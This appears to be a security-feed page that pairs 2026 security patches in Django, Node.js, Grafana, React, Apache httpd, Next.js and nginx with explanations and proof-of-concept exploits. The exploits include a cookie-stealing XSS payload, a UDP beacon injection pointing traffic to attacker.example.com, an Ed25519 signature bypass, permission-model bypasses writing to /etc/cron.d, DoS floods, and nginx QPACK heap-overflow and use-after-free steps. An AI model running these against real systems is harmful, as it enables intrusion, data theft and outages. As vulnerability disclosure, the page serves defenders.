“Exposing patches before CVEs since 2025”
Tuesday, September 1, 2026
Jun 24, 2026, 02:00 PM — django/django
Commit: 8acd000725838f73c5e6781114f11866f6674c46
Author: Jacob Walls
The template fragment cache key generation used a simple `:` delimiter between vary-on arguments without encoding the length of each argument, allowing cache key collisions between different argument combinations. For example, vary_on=\['a:b','c'\] and vary_on=\['a','b:c'\] would produce the same MD5 hash, potentially causing one user's cached content to be served to another user with different cache parameters.
for arg in vary_on:
hasher.update(str(arg).encode())
hasher.update(b":")
from django.core.cache.utils import make_template_fragment_key
# Before patch, these two calls produce the SAME cache key:
key1 = make_template_fragment_key('foo', ['a:b', 'c']) # hashes 'a:b:c:'
key2 = make_template_fragment_key('foo', ['a', 'b:c']) # also hashes 'a:b:c:'
assert key1 == key2 # Collision! Different arguments, same cache key
# This means a page cached for user with args ['a:b','c'] would be returned
# for a user with args ['a','b:c'], leaking potentially sensitive cached content.
Jun 23, 2026, 07:21 PM — nodejs/node
Commit: ff58f43f453a90602ed2ab9ee357f370a29787d5
Author: Ijtihed Kilani
In Node.js `util.inspect()` with `colors: true`, the `markNodeModules` function entered an infinite loop when an error stack trace contained a `node_modules` path segment with no trailing path separator (e.g., `at /app/node_modules/foo.js:1:1`). `StringPrototypeIndexOf` returned `-1` for `moduleEnd`, which caused `searchFrom` to be set to `-1`, making the next `indexOf` restart from index 0, rematch the same segment, and grow `tempLine` unboundedly until the heap was exhausted. The fix clamps `moduleEnd` to `line.length` when no trailing separator is found, allowing the loop to terminate normally.
let moduleEnd = StringPrototypeIndexOf(line, separator, moduleStart);
if (line[moduleStart] === '@') {
// Namespaced modules have an extra slash: @namespace/package
moduleEnd = StringPrototypeIndexOf(line, separator, moduleEnd + 1);
}
// Run with Node.js before the patch:
const util = require('util');
const err = new Error('boom');
err.stack = 'Error: boom\n at /app/node_modules/foo.js:1:1';
// The following call enters an infinite loop, growing memory until OOM crash:
util.inspect(err, { colors: true });
Jun 23, 2026, 06:44 PM — nodejs/node
Commit: 29890721cda51eeb64f4079143d55b69333599c2
Author: Filip Skokan
Before this patch, Node.js WebCrypto's EdDSA (Ed25519/Ed448) signature verification would return 'true' for signatures involving small-order public keys or small-order R components in the signature, even when the signature was mathematically trivial/invalid. This is a signature verification bypass: an attacker can use a small-order public key (e.g., a low-order point) along with a crafted signature to produce a valid verification result without knowing the private key, since multiplying a small-order point by any scalar yields a point in the small subgroup. The patch adds explicit rejection of small-order points in both the public key and the signature's R component during verification.
if (context.verify(params.data, params.signature)) {
static_cast<char*>(buf.get())[0] = 1;
}
// Using Node.js WebCrypto before the patch:
const { subtle } = globalThis.crypto;
// Small-order Ed25519 public key (order-8 point)
const smallOrderPubKey = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', 'hex');
// Crafted signature with small-order R component
const craftedSig = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a' + '0000000000000000000000000000000000000000000000000000000000000000', 'hex');
const data = Buffer.from('8c93255d71dcab10e8f379c26200f3c7bd5f09d9bc3068d3ef4edeb4853022b6', 'hex');
const key = await subtle.importKey('raw', smallOrderPubKey, { name: 'Ed25519' }, false, ['verify']);
const result = await subtle.verify({ name: 'Ed25519' }, key, craftedSig, data);
// Before patch: result === true (bypass!), After patch: result === false
Jun 23, 2026, 05:20 PM — grafana/grafana
Commit: 7b304b3e2809008286c66ca6b2fbb712535c3465
Author: Jessica Liu
The Kubernetes-based GET /tags API endpoint in Grafana's annotation app returned all annotation tags to any authenticated user regardless of their permissions. Before the patch, the tags handler was initialized without an access client and performed no authorization checks, meaning any authenticated user (including those with org role = None and no permissions) could enumerate all annotation tags in an organization. The patch adds a call to `authorizeReadOrganizationAnnotations` that verifies the caller has `annotations:read` permission with organization scope before returning tag data.
tagHandler := newTagsHandler(tagProvider, installer.tracer, installer.metrics, logger) // newTagsHandler had no accessClient parameter and performed no authz checks
# An authenticated Grafana user with org role=None (no permissions) can enumerate all annotation tags: curl -H 'Authorization: Bearer <token_of_user_with_no_permissions>' \ 'https://grafana-instance/apis/annotation.grafana.app/v0alpha1/namespaces/default/tags' # Before patch: returns full list of annotation tags (exposing potentially sensitive tag metadata) # After patch: returns 403 Forbidden with 'requires the annotations:read permission with the organization scope'
Jun 23, 2026, 10:28 AM — facebook/react
Commit: 99e86060ac35ea81153ac39ddab9b4cd744d9391
Author: Minh Vu
The `onError` function in standalone.js used `node.innerHTML` to render error messages, directly interpolating the `message` property from error objects into an HTML string template. If an attacker could control the error `message` (e.g., through a malicious WebSocket server response or crafted network error), they could inject arbitrary HTML/JavaScript into the DevTools UI. The patch replaces `innerHTML` with `textContent` via DOM node construction, neutralizing HTML injection.
node.innerHTML = `
<div class="box">
<div class="box-header">
Unknown error
</div>
<div class="box-content">
${message}
</div>
</div>
`;
A malicious WebSocket server sends an error with message: '<img src=x onerror=alert(document.cookie)>'. When the DevTools client connects to this server and receives an error, the old code would execute: node.innerHTML = `...<div class="box-content"><img src=x onerror=alert(document.cookie)></div>...`; causing the onerror handler to execute arbitrary JavaScript in the Electron/browser context running DevTools.
Jun 23, 2026, 09:44 AM — grafana/grafana
📈 Patch landed 57 days 8 hours 48 minutes before CVE published
Commit: b9b897b3c512ee434341bb9d698eac24f90eca89
Author: Costa Alexoglou
Before the patch, the `listPermission` function for mapper-miss resources (folder-scoped CRDs like `*.ext.grafana.app`) would hit the `scopeMap\["*"\]` early-return check before forking to the folder-authz model. This meant that if a user had a resource-type wildcard permission (e.g., `unregistered.grafana.app/widgets:get` with scope `*`), the LIST endpoint would return `All: true` (allowing all objects) without requiring any folder-level authorization. The fix forks to `listPermissionWithFolderAuthz` before the wildcard check, ensuring folder-scoped resources always require both a stack role AND folder-level permission.
func (s *Service) listPermission(ctx context.Context, scopeMap map[string]bool, req *listRequest) (*authzv1.ListResponse, error) {
if scopeMap["*"] {
return &authzv1.ListResponse{
All: true,
...
Send a List request for a folder-scoped CRD resource (e.g., group=widget.ext.grafana.app, resource=widgets) with a user that has a wildcard resource permission (Action: 'widget.ext.grafana.app/widgets:get', Scope: '*'). Before the patch, the response would return {All: true} granting access to all objects without any folder authorization check. This allows a user with only a resource-type wildcard grant (but no folder access) to list all objects across all folders.
Jun 22, 2026, 05:28 PM — apache/httpd
Commit: f4ec94c524895c7bdceb418a1a7dae80b8496f10
Author: Jim Jagielski
Before this patch, ProxyBeaconSecret was optional. Without it, any host that could reach the proxy's UDP beacon port could send an unauthenticated datagram announcing an arbitrary backend URL, causing the proxy to add that URL as a balancer member and route client traffic to an attacker-controlled server. Since UDP source addresses are trivially spoofable, there was no reliable way to restrict who could inject members. The patch makes ProxyBeaconSecret mandatory, causing startup to fail if it is omitted, eliminating the unauthenticated mode entirely.
if (ctx->balancer_name && !ctx->has_secret && !ctx->warned_insecure) {
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, s,
APLOGNO(10572) "mod_proxy_beacon: beacon channel on %pI is "
"UNAUTHENTICATED; set ProxyBeaconSecret on the proxy and "
"all backends to require signed beacons", ctx->addr);
ctx->warned_insecure = 1;
}
# Attacker sends a crafted UDP beacon datagram to the proxy's listen port (e.g., UDP/5555)
# with no secret configured on the proxy, causing the proxy to add an attacker-controlled
# backend to the balancer and route client traffic there.
python3 -c "
import socket
msg = b'BEACON url=http://attacker.example.com:9999 host=evil pid=1234 seq=1 ts=1719000000000000'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg, ('proxy.internal', 5555))
print('Sent malicious beacon - proxy will now route traffic to attacker.example.com:9999')
"
Jun 20, 2026, 02:58 PM — nodejs/node
📈 Patch landed 2 days 6 hours 32 minutes before CVE published
Commit: 57a4932a9def74d1a1161805fe6aa4c040157652
Author: Matteo Collina
When http.Agent with keepAlive is used, there is a window between a socket entering the freeSockets pool (with parser detached) and being reassigned to a new request. If a server sends an HTTP response during this window, the data sits in the TCP buffer and gets silently consumed as the response for the next request — poisoning the response queue. The fix installs a low-level read guard on the socket handle so unsolicited data destroys the socket. This commit is a follow-up that changes the guard from a public 'data' event listener (which caused false ERR_STREAM_PREMATURE_CLOSE in node-fetch@2) to an internal onread hook, but the underlying security fix (destroying sockets with unsolicited data) was already present.
socket.on('data', freeSocketDataGuard);
socket.resume();
const http = require('http');
const net = require('net');
// Server that sends an extra response after the first request completes
const server = http.createServer((req, res) => {
const sock = req.socket;
res.end('legit');
// After response, inject a poisoned response into the idle socket
setImmediate(() => {
sock.write('HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nHACKED');
});
});
server.listen(0, () => {
const agent = new http.Agent({ keepAlive: true });
const opts = { host: '127.0.0.1', port: server.address().port, agent };
http.get({ ...opts, path: '/first' }, (res) => {
res.resume();
res.on('end', () => {
// Socket returned to pool; poisoned response is in TCP buffer
// Next request receives 'HACKED' instead of real response
http.get({ ...opts, path: '/second' }, (res2) => {
let body = '';
res2.on('data', d => body += d);
res2.on('end', () => console.log('Got:', body)); // prints 'HACKED' without the fix
});
});
});
});
Jun 19, 2026, 04:30 PM — django/django
Patch landed 16 days 59 minutes after CVE published
Commit: b461519bf5973d7fc149560d2f99acdba71a437d
Author: Natalia
Django's UpdateCacheMiddleware failed to recognize qualified Cache-Control directives (e.g., `Cache-Control: private="Set-Cookie"`) as restrictions on caching. The code used exact token matching against the full directive string, so `private="Set-Cookie"` would not match the string `private`, causing the response to be stored in a shared cache even though it was marked private. The patch introduces a `split_directive_names()` helper that strips the qualified value portion before comparison.
cache_control_parts = list(split_header_value(cache_control))
if cache_control and any(
directive in cache_control_parts
for directive in ("private", "no-cache", "no-store",)
):
# A Django view returning a response with a qualified Cache-Control directive:
from django.http import HttpResponse
from django.views.decorators.cache import cache_page
@cache_page(300)
def sensitive_view(request):
user_data = f"Secret data for user: {request.user}"
response = HttpResponse(user_data)
# RFC 9111 allows qualified form: private="Set-Cookie" means only Set-Cookie
# header is private, but the directive name is still 'private'
response['Cache-Control'] = 'private="Set-Cookie"'
return response
# Before the patch: the middleware checks if 'private="Set-Cookie"' is in
# ['private="Set-Cookie"'] matching against 'private' -> False, so the
# response IS stored in cache. A second request from a different user
# receives the first user's sensitive data from cache.
# request1 = factory.get('/sensitive/')
# response1 = sensitive_view(request1) # stored in shared cache
# request2 = factory.get('/sensitive/')
# response2 = sensitive_view(request2) # returns user1's data from cache!
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 7dafafa2424710ded8b77eb7c878e884c1aef64e
Author: Matteo Collina
Node.js DNS lookup and net.connect functions accepted hostnames containing embedded NUL bytes (\\u0000). Because C strings are NUL-terminated, the underlying C library (getaddrinfo/c-ares) would truncate the hostname at the first NUL byte, causing the actual DNS lookup to resolve a completely different hostname than what the JavaScript code specified. This could allow bypassing hostname validation or allowlist checks in application code. The patch adds a `validateStringWithoutNullBytes` validator that throws ERR_INVALID_ARG_VALUE when NUL bytes are present.
if (hostname) {
validateString(hostname, 'hostname');
}
// Attacker bypasses hostname allowlist check:
const dns = require('dns');
// Application checks hostname ends with '.allowed.example' - validation passes
// But actual DNS query resolves '127.0.0.1' (truncated at NUL)
dns.lookup('127.0.0.1\u0000.allowed.example', {}, (err, address) => {
console.log(address); // resolves 127.0.0.1, bypassing the allowlist check
});
// Similarly with net:
const net = require('net');
// App validates host contains '.trusted.example', but connects to 'evil.com'
net.createConnection({ host: 'evil.com\u0000.trusted.example', port: 80 });
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 9cc4e32375cc0ef9b6e7452e287f12f864c99553
Author: Matteo Collina
Before this patch, TLS session tickets/sessions stored by Node.js could be reused for connections to different hosts. An attacker who could influence the session cache (e.g., via a malicious or compromised server, or by controlling the session data) could cause a client to reuse a TLS session authenticated for host A when connecting to host B, bypassing certificate verification for the second connection. The patch binds session data to the server identity by wrapping sessions with a prefix that includes the servername, and validates the identity matches before reuse.
TLSSocket.prototype.setSession = function(session) {
if (typeof session === 'string')
session = Buffer.from(session, 'latin1');
this._handle.setSession(session);
};
// Attacker scenario: steal a TLS session from evil.com and reuse it for bank.com
const tls = require('tls');
// Step 1: Connect to evil.com (attacker-controlled server) and capture session
const evilConn = tls.connect({ host: 'evil.com', port: 443 });
let stolenSession;
evilConn.on('session', (session) => { stolenSession = session; });
// Step 2 (before patch): Reuse stolen session for bank.com - bypasses cert check
// because isSessionReused() returns true and checkServerIdentity is skipped
const bankConn = tls.connect({
host: 'bank.com',
port: 443,
session: stolenSession, // raw session, no host binding
});
// Connection succeeds with session reuse, checkServerIdentity is never called
// because onConnectSecure checks: if (!verifyError && !this.isSessionReused())
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: a929332960773e85c9e987dc7b32e3bcb8b77b77
Author: RafaelGSS
The `FileHandle.utimes()` method (which calls `futimes` internally) did not check whether the Node.js Permission Model was enabled before modifying file timestamps. This allowed an attacker to bypass write-access restrictions enforced by the Permission Model by obtaining a file descriptor through a read-only open and then calling `fh.utimes()` to modify timestamps on files that should be protected from writes. The patch adds an explicit check that throws `ERR_ACCESS_DENIED` when the Permission Model is active.
async function futimes(handle, atime, mtime) {
atime = toUnixTimestamp(atime, 'atime');
mtime = toUnixTimestamp(mtime, 'mtime');
return await PromisePrototypeThen(
// Run with: node --permission --allow-fs-read=* exploit.js
// (no --allow-fs-write granted)
const { open } = require('fs/promises');
(async () => {
// Open file for reading only (allowed by permission model)
const fh = await open('/some/protected/file.txt', 'r');
// Before the patch, this would succeed despite no write permission
await fh.utimes(0, 0); // sets atime/mtime to epoch, bypassing permission model
console.log('Timestamps modified without write permission!');
await fh.close();
})();
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: e4c8dc983ce2fae81f9cfe15167b4b589d63c017
Author: RafaelGSS
The Node.js Permission Model's Net scope could be bypassed via `uv_pipe_chmod` on Unix Domain Sockets. Before the patch, `PipeWrap::Fchmod` did not check the Net permission scope, allowing code running under `--permission --allow-net=...` restrictions to call `pipe.fchmod()` and change permissions on a UDS pipe even when net access was denied. The patch adds a `THROW_IF_INSUFFICIENT_PERMISSIONS` check for `kNet` before allowing the chmod operation.
void PipeWrap::Fchmod(const v8::FunctionCallbackInfo<v8::Value>& args) {
PipeWrap* wrap;
ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
CHECK(args[0]->IsInt32());
int mode = args[0].As<Int32>()->Value();
int err = uv_pipe_chmod(&wrap->handle_, mode);
args.GetReturnValue().Set(err);
}
// Run with: node --permission --allow-fs-read=* --allow-fs-write=* exploit.js
// Before patch, this would succeed in calling fchmod on a pipe despite Net being denied
const net = require('net');
const server = net.createServer();
// Bypass: directly access internal pipe handle and call fchmod
// The open+chmod on the UDS socket would succeed without Net permission check
const pipe = server._handle;
if (pipe && pipe.fchmod) {
pipe.fchmod(0o777); // No ERR_ACCESS_DENIED thrown before patch
console.log('Net permission bypass succeeded via fchmod');
}
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 4 days 17 hours 1 minute before CVE published
Commit: 179ddaedfba33a70f638de708a2e3289bee3cd55
Author: Matteo Collina
When http.Agent uses keepAlive sockets, there is a window between a socket returning to the freeSockets pool (with the HTTPParser detached) and being reused for the next request. During this window, a malicious or misbehaving server can send unsolicited HTTP response data that sits in the TCP buffer and gets consumed as the response for the next client request, effectively poisoning the response queue. The fix attaches a 'data' event guard listener and calls resume() on idle sockets so any unsolicited data immediately destroys the socket instead of being silently buffered.
socket.once('error', freeSocketErrorListener);
freeSockets.push(socket);
const http = require('http');
// Attacker controls the server or can inject data at TCP level.
// 1. Client sends request1, server responds, socket goes to freeSockets pool.
// 2. Before client sends request2, server writes a fake response on the idle socket:
// serverSocket.write('HTTP/1.1 200 OK\r\nX-Poisoned: true\r\nContent-Length: 13\r\n\r\nattacker-data');
// 3. Client sends request2 - without the fix, the buffered poisoned data is
// consumed as the response to request2, returning attacker-controlled headers/body.
// 4. The real response to request2 arrives later and corrupts the next request.
// Net effect: client sees attacker-injected response body/headers for request2.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 6a8808a0bbec99eb8efabfe5ec398239ad1e522f
Author: Filip Skokan
Before the patch, the WebCrypto cipher paths in AES and ChaCha20-Poly1305 computed the output buffer length as `int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0)` where `data_len` is a `size_t` and the result is stored in an `int`. When `data_len` is very large (e.g., close to or exceeding INT_MAX), this arithmetic overflows the signed int, leading to a negative or incorrect buffer length being allocated and passed to OpenSSL, causing potential heap buffer overflow or memory corruption. The patch adds a `TryGetIntCipherOutputLength` helper that checks if the sum would exceed INT_MAX before computing the output length.
size_t total = 0; int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0);
// Using Node.js WebCrypto API:
const { webcrypto } = require('crypto');
async function exploit() {
const key = await webcrypto.subtle.generateKey({name: 'AES-GCM', length: 128}, false, ['encrypt']);
// Craft an input where data_len is large enough to cause overflow when added to block_size+tag_len
// data_len near INT_MAX causes: int buf_len = ~2GB + 16 + 16 => signed integer overflow => negative buf_len
// This leads OpenSSL to receive a negative/wrong length, causing heap corruption
const largeInput = new Uint8Array(2 * 1024 * 1024 * 1024 - 10); // ~2GB, near INT_MAX
await webcrypto.subtle.encrypt({name: 'AES-GCM', iv: new Uint8Array(12)}, key, largeInput);
// Before patch: signed integer overflow on buf_len computation -> heap buffer overflow
// After patch: operation cleanly fails with FAILED status
}
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 3e9954a88b6a291fc4041aa7ff2b9725f4f86025
Author: Matteo Collina
Before the patch, the `ProxyConfig` class stored the full proxy URL including plaintext credentials (username and password) in `this.href`. When tunnel establishment failed (e.g., 407 Proxy Authentication Required), Node.js would include `this.href` in the error message, causing proxy credentials to appear in error output, logs, or stderr. The patch redacts credentials from the stored href by clearing username/password from the parsed URL before storing it.
this.href = proxyUrl;
Set HTTPS_PROXY=http://secretuser:[email protected]:8080 and make an HTTPS request through a proxy that returns 407. Before the patch, stderr/error messages would contain the full URL including 'secretuser:secretpass', e.g.: 'Tunnel failed via http://secretuser:[email protected]:8080 - 407 Proxy Authentication Required'. An attacker with access to logs or error output could extract the proxy credentials.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 14 hours 6 minutes before CVE published
Commit: 9cc79c177da561e295ed4d58c7596cc6cd2c1b0c
Author: RafaelGSS
When Node.js is run with the --permission flag (Permission Model), `process.report.writeReport()` did not check whether the process had FileSystemWrite permission before writing files to disk. This allowed code running under a restricted permission context to bypass filesystem write restrictions by writing diagnostic reports to arbitrary locations. The patch adds an explicit permission check using `permission.has('fs.write', resource)` before allowing the write operation.
writeReport(file, err) {
if (typeof file === 'object' && file !== null) {
err = file;
file = undefined;
} else if (file !== undefined) {
validateString(file, 'file');
file = getValidatedPath(file);
}
// No permission check here - write proceeds regardless of --permission flags
node --permission --allow-fs-read=* -e "process.report.writeReport('/etc/cron.d/malicious_report')"
// Before the patch, this would write a file to /etc/cron.d/ even though --allow-fs-write was not granted, bypassing the Permission Model's filesystem write restrictions. Similarly: node --permission --allow-fs-read=* -e "process.report.writeReport()" would write to process.cwd() without any write permission check.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 1efb4ff51a0624236332ea98b23bd1106f68d8af
Author: Matteo Collina
Before the patch, Node.js's `checkServerIdentity` function did not normalize Unicode/IDN hostnames to their ASCII-compatible encoding (ACE/Punycode) before comparing against certificate Subject Alternative Names. An attacker could use a Unicode full-width or lookalike character (e.g., the ideographic full stop '。' U+3002) in a hostname that would visually appear similar to a legitimate domain, bypassing TLS server identity verification because the raw Unicode string wouldn't match the ASCII certificate SAN, but the connection might still be allowed in certain edge cases. The patch converts the hostname to ASCII via `domainToASCII` before performing identity checks.
hostname = unfqdn(hostname); // Remove trailing dot for error messages.
if (net.isIP(hostname)) {
valid = ips.includes(canonicalizeIP(hostname));
if (!valid)
reason = `IP: ${hostname} is not in the cert's list: ` + ips.join(', ');
} else if (dnsNames.length > 0 || subject?.CN) {
const hostParts = splitHost(hostname);
// An attacker controls a server with a wildcard cert for *.evil.com
// They craft a hostname using Unicode lookalike characters that,
// when NOT normalized, bypasses the check:
//
// const tls = require('tls');
// const result = tls.checkServerIdentity('foo。bar.example.com', {
// subjectaltname: 'DNS:*.example.com',
// subject: {}
// });
// Before patch: The Unicode full-stop '。' (U+3002) is NOT normalized,
// so 'foo。bar.example.com' is split incorrectly and may not match '*.example.com',
// but more critically, a hostname like 'victim.com\u3002attacker.com' could
// be passed where domainToASCII would yield 'victim.com.attacker.com',
// allowing certificate validation to succeed against a cert for '*.attacker.com'
// while the user sees 'victim.com。attacker.com' in the URL.
//
// Concrete PoC: Connect to a TLS server where hostname='legit.com\u3002evil.com'
// and the server presents a cert with SAN 'DNS:*.evil.com'.
// Before patch: splitHost('legit.com\u3002evil.com') treats U+3002 as non-dot,
// causing hostname split to fail in a way that could allow the wildcard match
// against the ASCII-normalized form 'legit.com.evil.com' => matches '*.evil.com'.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 65a3ab3264f87725661deee4ebda85726c50fa98
Author: Matteo Collina
A malicious HTTP/2 server could send an unbounded number of ORIGIN frames with unique origins, causing the client-side `originSet` (a Set) to grow without limit for the lifetime of the session. This results in unbounded memory consumption on the client, leading to a denial-of-service condition. The patch caps the originSet at 128 entries (configurable via `maxOriginSetSize`) and destroys the session with an error when the limit is exceeded.
function onOrigin(origins) {
if (!session.encrypted || session.destroyed)
return undefined;
const originSet = initOriginSet(session);
for (let n = 0; n < origins.length; n++)
originSet.add(origins[n]);
session.emit('origin', origins);
}
// Malicious HTTP/2 server that exhausts client memory:
const http2 = require('node:http2');
const server = http2.createSecureServer({ key, cert });
server.on('session', (session) => {
let i = 0;
setInterval(() => {
// Send 1000 unique origins per frame repeatedly
session.origin(...Array.from({ length: 1000 }, () => `https://evil${i++}.attacker.com`));
}, 1); // Flood the client with unique origins indefinitely
});
// Client connecting to this server will accumulate millions of entries in originSet,
// consuming gigabytes of memory until the process crashes or is OOM-killed.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: c68711fd3f0d5495fd89080a6fc182d50a1a8efd
Author: Matteo Collina
The `addContext()` method in Node.js TLS server constructed a RegExp without the case-insensitive flag 'i', causing SNI hostname matching to be case-sensitive. Since RFC 6066 specifies DNS hostnames are case-insensitive, an attacker in an mTLS configuration could send an uppercase or mixed-case SNI hostname (e.g., 'A.EXAMPLE.COM' instead of 'a.example.com') to bypass the per-tenant TLS context and its associated client certificate requirements, falling back to the default context which may have no or weaker client authentication. The fix adds the 'i' flag to the RegExp so matching is case-insensitive.
servername
.replace(/([.^$+?\-\\[\]{}])/g, '\\$1')
.replaceAll('*', '[^.]*')
}$`);
In an mTLS server where 'a.example.com' context requires client certificates:
const tls = require('tls');
const server = tls.createServer(defaultOptions);
server.addContext('a.example.com', { key, cert, ca, requestCert: true, rejectUnauthorized: true });
// Attacker connects with uppercase SNI, bypassing the client cert requirement:
const client = tls.connect({
port: server.address().port,
servername: 'A.EXAMPLE.COM', // uppercase bypasses per-tenant context
rejectUnauthorized: false
// No client certificate provided
});
// Before patch: connection succeeds using default context (no client cert required)
// After patch: connection uses the correct context requiring client cert, and fails without one
Jun 18, 2026, 12:00 AM — nodejs/node
Commit: 6cde2370268f6918f4caa7d2f712ef22db90eb1e
Author: Antoine du Hamel
Before the patch, exceptions thrown by TLS event listeners (resumeSession, OCSPRequest, newSession) were not caught and would propagate as uncaught exceptions, potentially crashing the Node.js process. A remote attacker could trigger these code paths by sending specially crafted TLS handshake data, causing the server to crash due to an uncaught exception from a user-supplied callback. The patch wraps these event emissions in try-catch blocks and routes errors through proper TLS error handlers (tlsClientError or server error events) instead.
if (!owner.server.emit('resumeSession', hello.sessionId, onSession)) {
// ...
}
socket.server.emit('OCSPRequest', ctx.getCertificate(), ctx.getIssuer(), onOCSP);
if (!owner.server.emit('newSession', sessionId, session, done))
done();
const tls = require('tls');
const server = tls.createServer({
key: fs.readFileSync('server-key.pem'),
cert: fs.readFileSync('server-cert.pem'),
sessionTimeout: 3600,
});
server.on('resumeSession', (id, cb) => {
throw new Error('crash the server');
});
// No error handler - exception propagates as uncaught, crashing the process
server.listen(8443);
// Attacker connects twice with session resumption to trigger resumeSession event
// First connection establishes session, second connection triggers resumeSession
// The thrown error becomes an uncaught exception, crashing the Node.js server
Jun 17, 2026, 03:41 PM — vercel/next.js
📈 Patch landed 35 days 7 hours 18 minutes before CVE published
Commit: f2ddd134e70fd66e411d829b45d4de581f1b66be
Author: Tim Neutkens
A non-RSC HTML request with the `Next-Router-Prefetch: 1` header set could cause the server to enter the partial prefetch tree path, produce a null active cache node, and suspend the HTML render indefinitely until a timeout occurred. This could be triggered by any external client sending crafted HTTP headers to a Next.js App Router application, effectively causing a denial of service by hanging render threads. The fix ensures prefetch routing headers are only respected when the request is also a valid RSC request.
const isPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '1' const isAppShellPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '3' const isRuntimePrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '2' || isAppShellPrefetchRequest const isRSCRequest = isRSCRequestHeader(headers[RSC_HEADER])
curl -H 'Next-Router-Prefetch: 1' https://target-nextjs-app.example.com/ This causes the Next.js App Router server to treat the plain HTML request as a prefetch request, entering the partial prefetch tree path, producing a null active cache node, and hanging the render until timeout (effectively a DoS). A malicious actor can flood the server with such requests to exhaust render threads.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: 875750a4f76bf68189929f887951e02b66c99801
Author: Roman Arutyunyan
In nginx's HTTP/3 QPACK dynamic table implementation, the insert buffer was allocated using the current table capacity (`dt->capacity`) rather than the maximum table capacity (`h3scf->max_table_capacity`). Since the table capacity can be increased later via a Set Dynamic Table Capacity instruction, subsequent insertions into the dynamic table could write beyond the initially allocated buffer, leading to a heap buffer overflow. The fix allocates the buffer using the configured maximum table capacity upfront to prevent overflow.
if (dt->insert_buffer == NULL) {
dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
if (dt->insert_buffer == NULL) {
return NULL;
}
}
1. Connect to nginx server with HTTP/3 enabled. 2. Send a QPACK encoder stream with a Set Dynamic Table Capacity instruction that increases capacity beyond the initial value (e.g., set capacity to 4096 when it starts at 0 or a small value). 3. The insert_buffer is allocated at step of first use with dt->capacity (the current/initial capacity, possibly 0 or small). 4. Then send Insert Header Field instructions that together exceed the originally allocated buffer size but are within the new (larger) capacity. 5. This causes writes beyond the heap buffer boundary, potentially corrupting adjacent heap memory, leading to denial of service or remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: ceccdbd2ee799d020a371b9420bdacb9cf273aa7
Author: Roman Arutyunyan
The insert buffer for HTTP/3 QPACK dynamic table was allocated from the encoder stream's memory pool (`c->pool`) rather than the parent connection's pool (`c->quic->parent->pool`). When the encoder stream was closed and a new encoder stream was opened, the old pool would be freed but `dt->insert_buffer` would still point into that freed memory, causing a use-after-free. An attacker can trigger this by closing and reopening the QUIC encoder stream while QPACK dynamic table insertions are in progress.
dt->insert_buffer = ngx_create_temp_buf(c->pool,
h3scf->max_table_capacity);
1. Establish an HTTP/3 connection to nginx. 2. Open the QPACK encoder stream and send some dynamic table insert instructions (e.g., Insert With Name Reference) to populate dt->insert_buffer allocated from the encoder stream pool. 3. Close the encoder stream (sending a FIN or RST_STREAM on the unidirectional encoder stream), causing its pool to be freed. 4. Open a new QPACK encoder stream on the same connection. 5. Send further encoder instructions — nginx will now use dt->insert_buffer which points into freed memory from the old stream pool, resulting in a use-after-free that can lead to memory corruption or remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: 9e293766e73c469c015df5341f1c1d403fb532c6
Author: Roman Arutyunyan
Before the patch, nginx HTTP/3 used `h3c->known_streams\[index\]` (a pointer that could be NULL after a stream closes) to check whether a standard unidirectional stream (control/encoder/decoder) had already been created. Because stream closure and new stream creation are asynchronous and can happen within the same event-loop iteration, a malicious client could close a control/encoder/decoder stream and immediately open a new one of the same type. The server would see `known_streams\[index\] == NULL` (set by the close handler) and allow the new stream, potentially reusing or corrupting shared parsing state such as the QPACK encoder insert buffer. The fix introduces a persistent `created_streams` bitmask that is never cleared, preventing any stream type from being registered a second time regardless of whether the previous instance was closed.
if (h3c->known_streams[index]) {
ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
}
h3c->known_streams[index] = c;
